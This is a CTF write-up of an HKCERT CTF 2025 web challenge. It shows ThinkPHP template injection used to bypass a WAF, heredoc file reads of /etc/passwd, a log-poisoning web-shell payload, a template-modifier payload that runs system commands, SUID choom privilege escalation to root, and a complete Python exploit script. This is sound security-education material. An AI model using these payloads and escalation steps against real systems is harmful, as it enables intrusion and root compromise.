Background
The HKCERT CTF 2025 was a CTF hosted by HKCERT. The 48 hour event was held from 19 Dec, 2025 to 20 Dec, 2025.
Team: Capture the Failure
Team Solves: 37/52
Rank: 31st/158 (3rd in Tertiary division)
Individual Solves: 6/52
Thoughts
This CTF was honestly a bit of a mess. The organisation was pretty rough - communication with organisers was bad, too many waves, and the first-blood bonus system was just painful. Also it was very "chinese" this year with lots of Chinese text in challenges (which, fair enough, but still).
I had to leave early for a flight on the 21st which sucked because I was so close to solving BabyUpload (.htaccess stuff) and NetWatcher (java deserialization). But hey, we still got a decent number of solves considering we didn't expect much going in.
Hopefully next year will be better!
Challenge
Category: web
Difficulty: ★★★☆
Inspecting the challenge
I started by poking around with some basic requests:
curl -s "http://web-70aced2fa6.challenge.xctf.org.cn:80/"
# Response: Please tell me your name: /?name=CTFer
curl -s "http://web-70aced2fa6.challenge.xctf.org.cn:80/?name=CTFer"
# Response: Hello, CTFer
So it takes a name parameter and reflects it back. Interesting.
I checked the response headers:
HTTP/1.1 200 OK
Server: TinyFat/0.99.75
X-Powered-By: PHP/8.4.15
Then I tried to trigger an error by passing an array (classic move):
curl -s "http://web-70aced2fa6.challenge.xctf.org.cn:80/?name[]=test"
Nice! Got a ThinkPHP error page:
- ThinkPHP V8.1.3
- Apache/2.4.65 (Debian)
Also found an alternative route:
curl -s "http://web-70aced2fa6.challenge.xctf.org.cn:80/?s=think"
# Response: hello,ThinkPHP8!
Figuring out the WAF
I wrote a quick Python script to test what the WAF was blocking:
test_cases = [
"system", "exec", "eval", "passthru", "shell_exec",
"flag", "(", ")", "'", '"', "`",
"{{", "}}", "php://", "file://", ...
]
Here's what I found:
Blocked patterns:
| Pattern | Status |
|---|---|
() (parentheses) | BLOCKED |
' (single quote) | BLOCKED |
" (double quote) | BLOCKED |
` (backtick) | BLOCKED |
system, exec, eval | BLOCKED |
flag, FLAG | BLOCKED |
include | BLOCKED |
php:// | BLOCKED |
cat | BLOCKED |
Allowed patterns:
| Pattern | Status |
|---|---|
$, ;, {, }, [, ] | ALLOWED |
require | ALLOWED |
file://, data:// | ALLOWED |
{{, }} | ALLOWED |
The big problem: parentheses are blocked, so no direct function calls!
Template injection?
I tried some template injection patterns:
payloads = [
"{{7*7}}", # Jinja2/Twig style
"{$name}", # ThinkPHP variable
"{:print 1}", # ThinkPHP function call
"{~echo 1}", # ThinkPHP raw statement
]
And it worked!
{:print 1} -> outputs "11" (1 printed + return value 1)
{~echo 1} -> outputs "1"
The template engine is evaluating expressions! But {:phpinfo()} gets blocked because of the parentheses.
PHP short tags
I tried PHP short tags (<?= ?>):
<?=1+1?> -> Hello, 2
<?=7*7?> -> Hello, 49
<?=__FILE__?> -> Hello, /var/www/html/runtime/temp/a6a517f7afef21f4ebdb0a56ed5f6cee.php
PHP code execution! But still can't call functions because of the parentheses block.
Reading files with heredoc
Since quotes were blocked, I tried PHP heredoc syntax (which doesn't need quotes):
<?=<<<EOT
test string
EOT?>
This worked! Output: Hello, test
Then I combined heredoc with require (which doesn't need parentheses):
<?=require <<<A
/etc/passwd
A?>
Success! Read /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
To bypass the "flag" filter, I just concatenated strings:
<?=$a=<<<A
/fla
A;$b=<<<B
g
B;require $a.g.$b?>
This constructs "/flag" from "/fla" + "g", bypassing the WAF.
I managed to read a bunch of files:
| File | Contents |
|---|---|
/etc/passwd | User accounts |
/etc/hostname | 96d46f74961d (Docker container) |
/proc/mounts | Docker overlay filesystem |
/var/www/html/README.md | ThinkPHP 8 readme |
/var/www/html/composer.json | Application dependencies |
Things that didn't work
I tried a bunch of stuff that went nowhere:
1. Direct flag reading - tried /flag, /flag.txt, /var/www/html/flag, /home/*/flag, /root/flag (permission denied as www-data) - all failed
2. Log poisoning - tried injecting PHP via User-Agent and including Apache logs:
headers = {"User-Agent": "<?php system($_GET['c']); ?>"}
requests.get(URL, headers=headers)
# Then include /var/log/apache2/access.log
Couldn't read log files.
3. PHP wrappers - tried php://filter (blocked), data:// (didn't work with require), expect:// (not available)
4. Session file poisoning - no session cookies were set, couldn't find session files
5. Classic ThinkPHP RCE exploits - all the known vulns were blocked or patched:
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
6. PEAR command injection - looked for pearcmd.php, file not found
The breakthrough: template modifier RCE
I saw on the HKCERT CTF Discord that the hint was to get RCE and escalate to root. Since I hadn't gotten RCE yet (just file read), I kept digging.
While messing with ThinkPHP template syntax, I tested modifiers:
# Testing if $_GET can be accessed in templates
payload = "{$_GET.cmd}"
# Response included the value of ?cmd=test
I could access GET parameters from within the template!
ThinkPHP modifiers work like this:
{$variable|modifier}
This compiles to <?php echo modifier($variable); ?>
So I tried passing the modifier name via GET parameter:
Payload: {$_GET.c|$_GET.f}
URL: /?name={$_GET.c|$_GET.f}&c=id&f=system
Response:
Hello, uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE achieved!
Why this worked:
- The WAF only checks the
nameparameter for dangerous patterns {$_GET.c|$_GET.f}contains no blocked characters- The actual function name (
system) is passed via thefparameter - The command (
id) is passed via thecparameter - ThinkPHP compiles this to
<?php echo system('id'); ?>
The WAF only checked the template syntax, not the parameter values!
Privilege escalation
Now with RCE as www-data, I started enumerating:
def execute(cmd):
r = requests.get(URL, params={
"name": "{$_GET.c|$_GET.f}",
"c": cmd,
"f": "system"
})
return r.text
I looked for SUID binaries:
find / -perm -4000 2>/dev/null
Found something interesting:
/usr/bin/chfn
/usr/bin/choom <-- This looks interesting!
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/umount
I checked out choom:
/usr/bin/choom --help
Usage:
choom [options] -n number -p pid
choom [options] -n number [--] command [args...]
Display and adjust OOM-killer score.
choom can execute arbitrary commands with the -- syntax! Let me test it:
/usr/bin/choom -n 0 -- id
Response:
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
EUID is root! The SUID bit on choom lets us execute commands with root privileges!
Getting the flag
/usr/bin/choom -n 0 -- ls -la /root
total 12
drwx------ 1 root root 18 Dec 9 09:41 .
drwxr-xr-x 1 root root 62 Dec 20 08:18 ..
-rw-r--r-- 1 root root 607 Nov 7 17:40 .bashrc
drwxr-xr-x 1 root root 19 Dec 9 08:39 .composer
-rw-r--r-- 1 root root 132 Nov 7 17:40 .profile
-rwxr-xr-x 1 root root 39 Dec 20 08:18 flag
Then just read the flag:
/usr/bin/choom -n 0 -- cat /root/flag
flag{aZeNQqYwT0tASMJppnqYxQOSOlMVXgNT}
Final exploit
One-liner URL:
http://web-70aced2fa6.challenge.xctf.org.cn:80/?name={$_GET.c|$_GET.f}&c=/usr/bin/choom -n 0 -- cat /root/flag&f=system
Python script:
import requests
URL = "http://web-70aced2fa6.challenge.xctf.org.cn:80/"
def execute_as_root(cmd):
"""Execute command as root via choom SUID"""
payload = "{$_GET.c|$_GET.f}"
r = requests.get(URL, params={
"name": payload,
"c": f"/usr/bin/choom -n 0 -- {cmd}",
"f": "system"
})
return r.text.replace("Hello, ", "").strip()
# Get the flag
print(execute_as_root("cat /root/flag"))
# Output: flag{aZeNQqYwT0tASMJppnqYxQOSOlMVXgNT}